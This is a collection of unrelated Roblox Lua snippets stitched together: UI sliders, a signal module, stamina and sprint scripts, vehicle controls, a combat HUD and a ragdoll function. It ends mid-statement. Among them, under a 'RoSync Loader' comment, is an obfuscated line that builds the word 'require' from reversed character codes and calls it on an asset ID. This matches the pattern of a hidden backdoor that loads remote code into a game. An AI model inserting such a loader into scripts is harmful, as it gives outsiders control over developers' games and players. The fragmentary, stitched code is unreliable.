local function onSliderButtonClick(button) -- Reset button colors norm.BackgroundColor3 = Color3.fromRGB(255, 255, 255) fast.BackgroundColor3 = Color3.fromRGB(255, 255, 255) max.BackgroundColor3 = Color3.fromRGB(255, 255, 255) -- Move the sliding indicator to the selected button local targetSize local targetSpeed if button == norm then targetSize = normalSize targetSpeed = normalSpd elseif button == fast then targetSize = fastSize targetSpeed = fastSpd elseif button == max then targetSize = maxSize targetSpeed = maxSpd end -- Set the uiSpeedUser to the selected speed modifier uiSpeedUser.Value = targetSpeed -- Check if the user has permission to change the islandSpeed if ClipSettings.settings.uiSpeedSetting then -- Update the islandSpeed setting in the ClipSettings module based on the uiSpeedUser ClipSettings.islandSpeed = uiSpeedUser.Value else -- Use the default islandSpeed from the ClipSettings module if uiSpeedSetting is off ClipSettings.islandSpeed = ClipSettings.islandSpeed end -- Animate the sliding indicator local tween = TweenService:Create(sliding, tweenInfo, { Size = targetSize }) tween:Play() -- Highlight the selected button button.BackgroundColor3 = Color3.fromRGB(200, 200, 200) end
--[[ Creates signals via a modulized version of RbxUtility (It was deprecated so this will be released for people who would like to keep using it. This creates RBXScriptSignals. API: table Signal:connect(Function f) --Will run f when the event fires. void Signal:wait() --Will wait until the event fires void Signal:disconnectAll() --Will disconnect ALL connections created on this signal void Signal:fire(Tuple args) --Cause the event to fire with your own arguments Connect, Wait, DisconnectAll, and Fire are also acceptable for calling (An uppercase letter rather than a lowercase one) Standard creation: local SignalModule = require(this module) local Signal = SignalModule:CreateNewSignal() function OnEvent() print("Event fired!") end Signal:Connect(OnEvent) --Unlike objects, this does not do "object.SomeEvent:Connect()" - Instead, the Signal variable is the event itself. Signal:Fire() --Fire it. --]]
local Signal = {} function Signal:CreateNewSignal() local This = {} local mBindableEvent = Instance.new('BindableEvent') local mAllCns = {} --All connection objects returned by mBindableEvent::connect --Note to scripters: the 'self' variable is built into lua. Any time a method in a table is called (table:somemethod()), a local variable in that function named "self" is created. This variable is an alias to whatever table the function is part of. function This:Connect(Func) assert(This == self, "Expected ':' not '.' calling member function Connect") assert(typeof(Func) == "function", "Argument #1 of Connect must be a function, got a "..typeof(Func)) local Con = mBindableEvent.Event:Connect(Func) mAllCns[Con] = true local ScrSig = {} function ScrSig:Disconnect() assert(ScrSig == self, "Expected ':' not '.' calling member function Disconnect") Con:Disconnect() mAllCns[Con] = nil end return ScrSig end function This:DisconnectAll() assert(This == self, "Expected ':' not '.' calling member function DisconnectAll") for Connection, _ in pairs(mAllCns) do Connection:Disconnect() mAllCns[Connection] = nil end end function This:Wait() assert(This == self, "Expected ':' not '.' calling member function Wait") return mBindableEvent.Event:Wait() end function This:Fire(...) assert(This == self, "Expected ':' not '.' calling member function Fire") mBindableEvent:Fire(...) end return This end return Signal
--[[ Last synced 11/13/2020 10:35 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--// SERVICES //--
local CoreGuiService = game:GetService('CoreGui') local PlayersService = game:GetService('Players') local GuiService = game:GetService('GuiService') local UserInputService = game:GetService('UserInputService') local StarterGui = game:GetService('StarterGui') local STS_Settings = script.Parent:WaitForChild('STS_Settings') local StaminaButton = script.Parent:WaitForChild('Mobile') local Border = StaminaButton:WaitForChild('Border') local Bar = script.Parent:WaitForChild('Frame_Bar') local SprintGui = script.Parent local UIS = game:GetService("UserInputService") local TS = game:GetService("TweenService") local plr = game.Players.LocalPlayer local player = game.Players.LocalPlayer local Character = game.Players.LocalPlayer.Character if Character == nil then repeat wait() until (Character ~= nil) print('FoundCharacter') end local Debounce = false local Stamina = Character:WaitForChild('Stamina') local Sprinting = false local StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay local StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina local OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed local SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value local RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value local RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value
--[[ Script Variables ]]
-- while not Players.LocalPlayer do Players.PlayerAdded:wait() end local LocalPlayer = Players.LocalPlayer local Tools = {} local IsAToolEquipped = false local RevertAutoJumpEnabledToFalse = false local ThumbstickFrame = nil local StartImage = nil local EndImage = nil local MiddleImages = {} local IsFollowStick = false local ThumbstickFrame = nil local OnMoveTouchEnded = nil -- defined in Create() local OnTouchMovedCn = nil local OnTouchEndedCn = nil local TouchActivateCn = nil local OnRenderSteppedCn = nil local currentMoveVector = Vector3.new(0,0,0)
--[=[ Translates a line into pseudo text while maintaining params @param line string -- The line to translate @return string -- The translated line ]=]
function PseudoLocalize.pseudoLocalize(line) local charMap = PseudoLocalize.PSEUDO_CHARACTER_MAP local out = "" local isParam = false for start, stop in utf8.graphemes(line) do local char = line:sub(start, stop) if char == "{" or char == "[" or char == "<" then isParam = true out = out .. char elseif char == "}" or char == "]" or char == ">" then isParam = false out = out .. char elseif not isParam and charMap[char] then out = out .. charMap[char] else out = out .. char end end return out end
----------------- --| Functions |-- -----------------
local function OnEquipped() local myModel = Tool.Parent local humanoid = myModel:FindFirstChild('Humanoid') if humanoid then -- Preload animations ScytheEquipTrack = humanoid:LoadAnimation(ScytheEquipAnimation) if ScytheEquipTrack then ScytheEquipTrack:Play() end ScytheIdleTrack = humanoid:LoadAnimation(ScytheIdleAnimation) if ScytheIdleTrack then ScytheIdleTrack:Play() end ScytheSlashTrack = humanoid:LoadAnimation(ScytheSlashAnimation) end end local function OnChanged(property) if property == 'Enabled' and Tool.Enabled == false then if ScytheSlashTrack then ScytheSlashTrack:Play() end end end local function OnUnequipped() -- Stop all animations if ScytheEquipTrack then ScytheEquipTrack:Stop() end if ScytheIdleTrack then ScytheIdleTrack:Stop() end if ScytheSlashTrack then ScytheSlashTrack:Stop() end end
-- Tables
local function CopyTable(T) local t2 = {} for k,v in pairs(T) do t2[k] = v end return t2 end local function SortTable(T) table.sort(T, function(x,y) return x.Name < y.Name end) end
--//Character//--
local Character = script.Parent local Humanoid = Character:WaitForChild("Humanoid")
--- Prepares selection for dragging, and returns the initial state of the selection.
function MoveTool:PrepareSelectionForDragging() local InitialPartStates = {} local InitialModelStates = {} -- Get index of parts local PartIndex = Support.FlipTable(Selection.Parts) -- Stop parts from moving, and capture the initial state of the parts for _, Part in pairs(Selection.Parts) do InitialPartStates[Part] = { Anchored = Part.Anchored; CanCollide = Part.CanCollide; CFrame = Part.CFrame; } Part.Anchored = true; Part.CanCollide = false; InitialPartStates[Part].Joints = Core.PreserveJoints(Part, PartIndex) Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); end; -- Get initial model states (temporarily pcalled due to pivot API being in beta) pcall(function () for _, Model in ipairs(Selection.Models) do InitialModelStates[Model] = { Pivot = Model:GetPivot(); } end end) -- Get initial state of focused item local InitialFocusCFrame local Focus = Selection.Focus if not Focus then InitialFocusCFrame = nil elseif Focus:IsA 'BasePart' then InitialFocusCFrame = Focus.CFrame elseif Focus:IsA 'Model' then InitialFocusCFrame = Focus:GetModelCFrame() pcall(function () InitialFocusCFrame = Focus:GetPivot() end) end return InitialPartStates, InitialModelStates, InitialFocusCFrame end;
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadRight , ContlrToggleTCS = Enum.KeyCode.DPadRight , ContlrToggleABS = Enum.KeyCode.DPadRight , }
-- PRIVATE METHODS
function IconController:_updateSelectionGroup(clearAll) if IconController._navigationEnabled then guiService:RemoveSelectionGroup("TopbarPlusIcons") end if clearAll then guiService.CoreGuiNavigationEnabled = IconController._originalCoreGuiNavigationEnabled guiService.GuiNavigationEnabled = IconController._originalGuiNavigationEnabled IconController._navigationEnabled = nil elseif IconController.controllerModeEnabled then local icons = IconController.getIcons() local iconContainers = {} for i, otherIcon in pairs(icons) do local featureName = otherIcon.joinedFeatureName if not featureName or otherIcon._parentIcon[otherIcon.joinedFeatureName.."Open"] == true then table.insert(iconContainers, otherIcon.instances.iconButton) end end guiService:AddSelectionTuple("TopbarPlusIcons", table.unpack(iconContainers)) if not IconController._navigationEnabled then IconController._originalCoreGuiNavigationEnabled = guiService.CoreGuiNavigationEnabled IconController._originalGuiNavigationEnabled = guiService.GuiNavigationEnabled guiService.CoreGuiNavigationEnabled = false guiService.GuiNavigationEnabled = true IconController._navigationEnabled = true end end end local function getScaleMultiplier() if guiService:IsTenFootInterface() then return 3 else return 1.3 end end function IconController._setControllerSelectedObject(object) local startId = (IconController._controllerSetCount and IconController._controllerSetCount + 1) or 0 IconController._controllerSetCount = startId guiService.SelectedObject = object delay(0.1, function() -- blame the roblox guiservice its a piece of doo doo local finalId = IconController._controllerSetCount if startId == finalId then guiService.SelectedObject = object end end) end function IconController._enableControllerMode(bool) local indicator = TopbarPlusGui.Indicator local controllerOptionIcon = IconController.getIcon("_TopbarControllerOption") if IconController.controllerModeEnabled == bool then return end IconController.controllerModeEnabled = bool if bool then TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,5) TopbarPlusGui.TopbarContainer.Visible = false local scaleMultiplier = getScaleMultiplier() indicator.Position = UDim2.new(0.5,0,0,5) indicator.Size = UDim2.new(0, 18*scaleMultiplier, 0, 18*scaleMultiplier) indicator.Image = "rbxassetid://5278151556" indicator.Visible = checkTopbarEnabled() indicator.Position = UDim2.new(0.5,0,0,5) else TopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0) TopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabled() indicator.Visible = false IconController._setControllerSelectedObject(nil) end for icon, _ in pairs(topbarIcons) do IconController._enableControllerModeForIcon(icon, bool) end end function IconController._enableControllerModeForIcon(icon, bool) local parentIcon = icon._parentIcon local featureName = icon.joinedFeatureName if parentIcon then icon:leave() end if bool then local scaleMultiplier = getScaleMultiplier() local currentSizeDeselected = icon:get("iconSize", "deselected") local currentSizeSelected = icon:get("iconSize", "selected") local currentSizeHovering = icon:getHovering("iconSize") icon:set("iconSize", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), "deselected", "controllerMode") icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "selected", "controllerMode") if currentSizeHovering then icon:set("iconSize", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), "hovering", "controllerMode") end icon:set("alignment", "mid", "deselected", "controllerMode") icon:set("alignment", "mid", "selected", "controllerMode") else local states = {"deselected", "selected", "hovering"} for _, iconState in pairs(states) do local _, previousAlignment = icon:get("alignment", iconState, "controllerMode") if previousAlignment then icon:set("alignment", previousAlignment, iconState) end local currentSize, previousSize = icon:get("iconSize", iconState, "controllerMode") if previousSize then icon:set("iconSize", previousSize, iconState) end end end if parentIcon then icon:join(parentIcon, featureName) end end
-- Variables.
local loadingScreen = script.LoadingScreen local player = game.Players.LocalPlayer local clonedLoadingScreen = loadingScreen:Clone() clonedLoadingScreen.Parent = player:WaitForChild("PlayerGui") local frame = clonedLoadingScreen.Frame local bar = frame.LoadingBar local inside = bar.BarInfill local skipButton = frame.SkipFrame.SkipButton local loadingPercentage = frame.DisplayPercentage local screenVisible = true local hideAfter = 30
--The server will fire the ExitSeat remote to the client when the humanoid has been removed from a seat. --This script listens to that and uses it to prevent the humanoid tripping when exiting a seat. --As the player is removed from the seat server side, this scripts listens to the event instead of being -- inside the ExitSeat function so that: -- A) The timing is right - the exit seat function will run before the character is unsat by the server -- B) If a server script removes the player from a seat, the anti-trip will still run
local function antiTrip() local humanoid = getLocalHumanoid() if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.GettingUp) end end Remotes.ExitSeat.OnClientEvent:Connect(function(doAntiTrip) for _, func in pairs(module.OnExitFunctions) do func(nil) end if doAntiTrip then antiTrip() end end) return module
--[=[ Converts this arbitrary value into an observable that will initialize a spring and interpolate it between values upon subscription. ```lua local percentVisible = Blend.State(0) local visibleSpring = Blend.Spring(percentVisible, 30) local transparency = Blend.Computed(visibleSpring, function(percent) return 1 - percent end); Blend.mount(frame, { BackgroundTransparency = visibleSpring; }) ``` @param source any @param speed any @param damper any @return Observable? ]=]
function Blend.Spring(source, speed, damper) local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source) local speedObservable = Blend.toNumberObservable(speed) local damperObservable = Blend.toNumberObservable(damper) local function createSpring(maid, initialValue) local spring = Spring.new(initialValue) if speedObservable then maid:GiveTask(speedObservable:Subscribe(function(value) assert(type(value) == "number", "Bad value") spring.Speed = value end)) end if damperObservable then maid:GiveTask(damperObservable:Subscribe(function(value) assert(type(value) == "number", "Bad value") spring.Damper = value end)) end return spring end -- TODO: Centralize and cache return Observable.new(function(sub) local spring local maid = Maid.new() local startAnimate, stopAnimate = StepUtils.bindToRenderStep(function() local animating, position = SpringUtils.animating(spring) sub:Fire(SpringUtils.fromLinearIfNeeded(position)) return animating end) maid:GiveTask(stopAnimate) maid:GiveTask(sourceObservable:Subscribe(function(value) if value then local linearValue = SpringUtils.toLinearIfNeeded(value) spring = spring or createSpring(maid, linearValue) spring.t = SpringUtils.toLinearIfNeeded(value) startAnimate() else warn("Got nil value from emitted source") end end)) return maid end) end
--Misc
Tune.AutoStart = true --set to false if using manual ignition plugin Tune.AutoFlip = true
--print(Valor)
if Valor == true then if Correndo.Value == true then ChangeStance = true Correndo.Value = false Stand() Stances = 0 end if Stances == 0 then Stand() end TS:Create(Poses.Levantado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play() TS:Create(Poses.Agaixado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play() TS:Create(Poses.Deitado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(150,0,0)} ):Play() --Poses.Levantado.ImageColor3 = Color3.fromRGB(100,0,0) --Poses.Agaixado.ImageColor3 = Color3.fromRGB(100,0,0) --Poses.Deitado.ImageColor3 = Color3.fromRGB(100,0,0) --Main.Status.Barra.Stamina.BackgroundColor3 = Color3.fromRGB(170,0,0) else if Stances == 0 then Stand() end TS:Create(Poses.Levantado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play() TS:Create(Poses.Agaixado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play() TS:Create(Poses.Deitado, TweenInfo.new(5), {ImageColor3 = Color3.fromRGB(255,255,255)} ):Play() --Poses.Levantado.ImageColor3 = Color3.fromRGB(0,0,0) --Poses.Agaixado.ImageColor3 = Color3.fromRGB(0,0,0) --Poses.Deitado.ImageColor3 = Color3.fromRGB(0,0,0) --Main.Status.Barra.Stamina.BackgroundColor3 = Color3.fromRGB(125,125,125) end end) local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 = Color3.fromRGB(150, 0, 0)} ) Sangrando.Changed:Connect(function(Valor) if Valor == true then Main.Poses.Bleeding.ImageColor3 = Color3.fromRGB(255,255,255) Main.Poses.Bleeding.Visible = true BleedTween:Play() else Main.Poses.Bleeding.Visible = false BleedTween:Cancel() end end) Caido.Changed:Connect(function(Valor) if Valor == true then if Stances ~= 0 then Poses.Levantado.Visible = true Poses.Agaixado.Visible = false Poses.Deitado.Visible = false Poses.Esg_Right.Visible = false Poses.Esg_Left.Visible = false CameraX = 0 CameraY = 1 Stances = 0 Correndo.Value = false Steady = false Stand() end end end) local a = Main.Vest.TextBox local b = Main.Helm.TextBox local Ener = Main.Poses.Energy function Vest() a.Text = math.ceil(Protecao.VestVida.Value) a.Parent.ImageColor3 = Color3.fromRGB(255,0,0) TS:Create(a.Parent, TweenInfo.new(2), {ImageColor3 = Color3.fromRGB(255, 255, 255)} ):Play() if Protecao.VestVida.Value <= 0 then a.Parent.Visible = false else a.Parent.Visible = true end end function Helmet() b.Text = math.ceil(Protecao.HelmetVida.Value) b.Parent.ImageColor3 = Color3.fromRGB(255,0,0) TS:Create(b.Parent, TweenInfo.new(2), {ImageColor3 = Color3.fromRGB(255, 255, 255)} ):Play() if Protecao.HelmetVida.Value <= 0 then b.Parent.Visible = false else b.Parent.Visible = true end end function Stamina() if ServerConfig.EnableStamina then if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue) Ener.Visible = true elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue) Ener.Visible = true elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then Ener.Visible = false end else saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue Ener.Visible = false end end Vest() Helmet() Stamina() Protecao.VestVida.Changed:Connect(Vest) Protecao.HelmetVida.Changed:Connect(Helmet) saude.Variaveis.Stamina.Changed:Connect(Stamina) Character.Humanoid.Changed:connect(function(Property) if ServerConfig.AntiBunnyHop then if Property == "Jump" and Character.Humanoid.Sit == true and Character.Humanoid.SeatPart ~= nil then Character.Humanoid.Sit = false elseif Property == "Jump" and Character.Humanoid.Sit == false then if JumpDelay then Character.Humanoid.Jump = false return false end JumpDelay = true delay(0, function() wait(ServerConfig.JumpCoolDown) JumpDelay = false end) end end end) local uis = game:GetService('UserInputService') local Evt = Engine:WaitForChild("Eventos") local placeEvent = Evt.Rappel:WaitForChild('PlaceEvent') local ropeEvent = Evt.Rappel:WaitForChild('RopeEvent') local cutEvent = Evt.Rappel:WaitForChild('CutEvent') uis.InputBegan:connect(function(input,chat) if not chat and Rappeling.Value == true then if input.KeyCode == Enum.KeyCode.C then ropeEvent:FireServer('Up',true) end; if input.KeyCode == Enum.KeyCode.X then ropeEvent:FireServer('Down',true) end; end end) uis.InputEnded:connect(function(input,chat) if not chat and Rappeling.Value == true then if input.KeyCode == Enum.KeyCode.C then ropeEvent:FireServer('Up',false) end; if input.KeyCode == Enum.KeyCode.X then ropeEvent:FireServer('Down',false) end; end end) function L_150_.Update() local L_174_ = CFrame.new() L_153_.cornerPeek.t = L_153_.peekFactor * Virar local L_326_ = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), L_153_.cornerPeek.p) -- SOLUTION TO 3RD PERSON --> CFrame.new(10,0,0) * CFrame.fromAxisAngle(Vector3.new(0,0,1), this.cornerPeek.p) Camera.CFrame = Camera.CFrame * L_326_ * L_174_ if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20 Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0) end end local Nadando = false function onStateChanged(_,state) --print(state) if state == Enum.HumanoidStateType.Swimming then Nadando = true else Nadando = false end end maxAir = 100 air = maxAir lastHealth = 100 lastHealth2 = 100 maxWidth = 0.96 Humanoid.StateChanged:connect(onStateChanged) game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update) while wait() do if ServerConfig.CanDrown then local headLoc = game.Workspace.Terrain:WorldToCell(player.Character.Head.Position) local hasAnyWater = game.Workspace.Terrain:GetWaterCell(headLoc.x, headLoc.y, headLoc.z) if player.Character.Humanoid.Health ~= 0 then if hasAnyWater then if air > 0 then air = air-0.15 elseif air <= 0 then air = 0 Evt.Afogar:FireServer() end else if air < maxAir then air = air + .5 end end end if air <= 50 then script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100) script.Parent.Frame.Oxygen.Visible = true elseif air < maxAir then script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100) script.Parent.Frame.Oxygen.Visible = true elseif air >= maxAir then script.Parent.Frame.Oxygen.Visible = false end script.Parent.Efeitos.Oxigen.ImageTransparency = air/100 if air <= 25 then script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25 end end if ServerConfig.EnableStamina then if Correndo.Value == true and Velocidade > 0 then saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value - ServerConfig.RunValue elseif Stances == 0 and (Correndo.Value == false or Velocidade <= 0) then saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.StandRecover elseif Stances == 1 and (Correndo.Value == false or Velocidade <= 0) then saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.CrouchRecover elseif Stances == 2 and (Correndo.Value == false or Velocidade <= 0) then saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.ProneRecover end end end
--// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol
wait(0.1) local player = game.Players.LocalPlayer local HUB = script.Parent.HUB local TR = script.Parent.Tracker local limitButton = HUB.Name local FE = game.Workspace.FilteringEnabled local lightOn = false local Camera = game.Workspace.CurrentCamera local cam = script.Parent.nxtcam.Value local carSeat = script.Parent.CarSeat.Value local mouse = game.Players.LocalPlayer:GetMouse() local windows = false local handler = carSeat:WaitForChild('Filter') local winfob = HUB.Parent.Music local pal = false local palpal = HUB.Parent.Palette local red = 0 local green = 0 local blue = 1 local debounce = false
-- Replace the values of these variables with true or false to control which Core GUI elements should be disabled initially
local DISABLE_COREUI = EasyLoadConfig.ShowCoreUI
-- RAGDOLL A R6 CHARACTER.
local function getAttachment0(attachmentName, char) for _,child in next,char:GetChildren() do local attachment = child:FindFirstChild(attachmentName) if attachment then return attachment end end end local function ragdollPlayer(char) local head = char["Head"] local hum = char:WaitForChild("Humanoid") local leftarm = char["Left Arm"] local leftleg = char["Left Leg"] local rightleg = char["Right Leg"] local rightarm = char["Right Arm"] local torso = char.Torso hum.PlatformStand = true local root =char:FindFirstChild("HumanoidRootPart") if root ~= nil then root:Destroy() end local rootA =Instance.new("Attachment") local HeadA = Instance.new("Attachment") local LeftArmA = Instance.new("Attachment") local LeftLegA = Instance.new("Attachment") local RightArmA = Instance.new("Attachment") local RightLegA = Instance.new("Attachment") local TorsoA = Instance.new("Attachment") local TorsoA1 = Instance.new("Attachment") local TorsoA2 = Instance.new("Attachment") local TorsoA3 = Instance.new("Attachment") local TorsoA4 = Instance.new("Attachment") local TorsoA5 = Instance.new("Attachment") local impactH = script.ImpactSound:Clone() impactH.Parent = head impactH.Disabled = false local impactLA = script.ImpactSound:Clone() impactLA.Parent = leftarm impactLA.Disabled = false local impactRA = script.ImpactSound:Clone() impactRA.Parent = rightarm impactRA.Disabled = false local function set1() HeadA.Name = "HeadA" HeadA.Parent = head HeadA.Position = Vector3.new(0, -0.5, 0) HeadA.Rotation = Vector3.new(0, 0, 0) HeadA.Axis = Vector3.new(1, 0, 0) HeadA.SecondaryAxis = Vector3.new(0, 1, 0) LeftArmA.Name = "LeftArmA" LeftArmA.Parent = leftarm LeftArmA.Position = Vector3.new(0.5, 1, 0) LeftArmA.Rotation = Vector3.new(0, 0, 0) LeftArmA.Axis = Vector3.new(1, 0, 0) LeftArmA.SecondaryAxis = Vector3.new(0, 1, 0) LeftLegA.Name = "LeftLegA" LeftLegA.Parent = leftleg LeftLegA.Position = Vector3.new(0, 1, 0) LeftLegA.Rotation = Vector3.new(0, 0, 0) LeftLegA.Axis = Vector3.new(1, 0, 0) LeftLegA.SecondaryAxis = Vector3.new(0, 1, 0) RightArmA.Name = "RightArmA" RightArmA.Parent = rightarm RightArmA.Position = Vector3.new(-0.5, 1, 0) RightArmA.Rotation = Vector3.new(0, 0, 0) RightArmA.Axis = Vector3.new(1, 0, 0) RightArmA.SecondaryAxis = Vector3.new(0, 1, 0) RightLegA.Name = "RightLegA" RightLegA.Parent = rightleg RightLegA.Position = Vector3.new(0, 1, 0) RightLegA.Rotation = Vector3.new(0, 0, 0) RightLegA.Axis = Vector3.new(1, 0, 0) RightLegA.SecondaryAxis = Vector3.new(0, 1, 0) rootA.Name= "rootA" rootA.Parent = root rootA.Position = Vector3.new(0, 0, 0) rootA.Rotation = Vector3.new(0, 90, 0) rootA.Axis = Vector3.new(0, 0, -1) rootA.SecondaryAxis = Vector3.new(0, 1, 0) end local function set2() TorsoA.Name = "TorsoA" TorsoA.Parent = torso TorsoA.Position = Vector3.new(0.5, -1, 0) TorsoA.Rotation = Vector3.new(0, 0, 0) TorsoA.Axis = Vector3.new(1, 0, 0) TorsoA.SecondaryAxis = Vector3.new(0, 1, 0) TorsoA1.Name = "TorsoA1" TorsoA1.Parent = torso TorsoA1.Position = Vector3.new(-0.5, -1, 0) TorsoA1.Rotation = Vector3.new(0, 0, 0) TorsoA1.Axis = Vector3.new(1, 0, 0) TorsoA1.SecondaryAxis = Vector3.new(0, 1, 0) TorsoA2.Name = "TorsoA2" TorsoA2.Parent = torso TorsoA2.Position = Vector3.new(-1, 1, 0) TorsoA2.Rotation = Vector3.new(0, 0, 0) TorsoA2.Axis = Vector3.new(1, 0, 0) TorsoA2.SecondaryAxis = Vector3.new(0, 1, 0) TorsoA3.Name = "TorsoA3" TorsoA3.Parent = torso TorsoA3.Position = Vector3.new(1, 1, 0) TorsoA3.Rotation = Vector3.new(0, 0, 0) TorsoA3.Axis = Vector3.new(1, 0, 0) TorsoA3.SecondaryAxis = Vector3.new(0, 1, 0) TorsoA4.Name = "TorsoA4" TorsoA4.Parent = torso TorsoA4.Position = Vector3.new(0, 1, 0) TorsoA4.Rotation = Vector3.new(0, 0, 0) TorsoA4.Axis = Vector3.new(1, 0, 0) TorsoA4.SecondaryAxis = Vector3.new(0, 1, 0) TorsoA5.Name = "TorsoA5" TorsoA5.Parent = torso TorsoA5.Position = Vector3.new(0, 0, 0) TorsoA5.Rotation = Vector3.new(0, 90, 0) TorsoA5.Axis = Vector3.new(0, 0, -1) TorsoA5.SecondaryAxis = Vector3.new(0, 1, 0) end spawn(set1) spawn(set2) --[[ local HA = Instance.new("HingeConstraint") HA.Parent = head HA.Attachment0 = HeadA HA.Attachment1 = TorsoA4 HA.Enabled = true HA.LimitsEnabled=true HA.LowerAngle=0 HA.UpperAngle=0 --]] local LAT = Instance.new("BallSocketConstraint") LAT.Parent = leftarm LAT.Attachment0 = LeftArmA LAT.Attachment1 = TorsoA2 LAT.Enabled = true LAT.LimitsEnabled=true LAT.UpperAngle=90 local RAT = Instance.new("BallSocketConstraint") RAT.Parent = rightarm RAT.Attachment0 = RightArmA RAT.Attachment1 = TorsoA3 RAT.Enabled = true RAT.LimitsEnabled=false RAT.UpperAngle=90 local HA = Instance.new("BallSocketConstraint") HA.Parent = head HA.Attachment0 = HeadA HA.Attachment1 = TorsoA4 HA.Enabled = true HA.LimitsEnabled = true HA.TwistLimitsEnabled = true HA.UpperAngle = 74 local TLL = Instance.new("BallSocketConstraint") TLL.Parent = torso TLL.Attachment0 = TorsoA1 TLL.Attachment1 = LeftLegA TLL.Enabled = true TLL.LimitsEnabled=true TLL.UpperAngle=90 local TRL = Instance.new("BallSocketConstraint") TRL.Parent = torso TRL.Attachment0 = TorsoA TRL.Attachment1 = RightLegA TRL.Enabled = true TRL.LimitsEnabled=true TRL.UpperAngle=90 local RTA = Instance.new("BallSocketConstraint") RTA.Parent = root RTA.Attachment0 = rootA RTA.Attachment1 = TorsoA5 RTA.Enabled = true RTA.LimitsEnabled=true RTA.UpperAngle=0 head.Velocity = head.CFrame.p * CFrame.new(0, -1, -0.1).p for _,child in next,char:GetChildren() do if child:IsA("Accoutrement") then for _,part in next,child:GetChildren() do if part:IsA("BasePart") then part.Parent = char child:remove() local attachment1 = part:FindFirstChildOfClass("Attachment") local attachment0 = getAttachment0(attachment1.Name, char) if 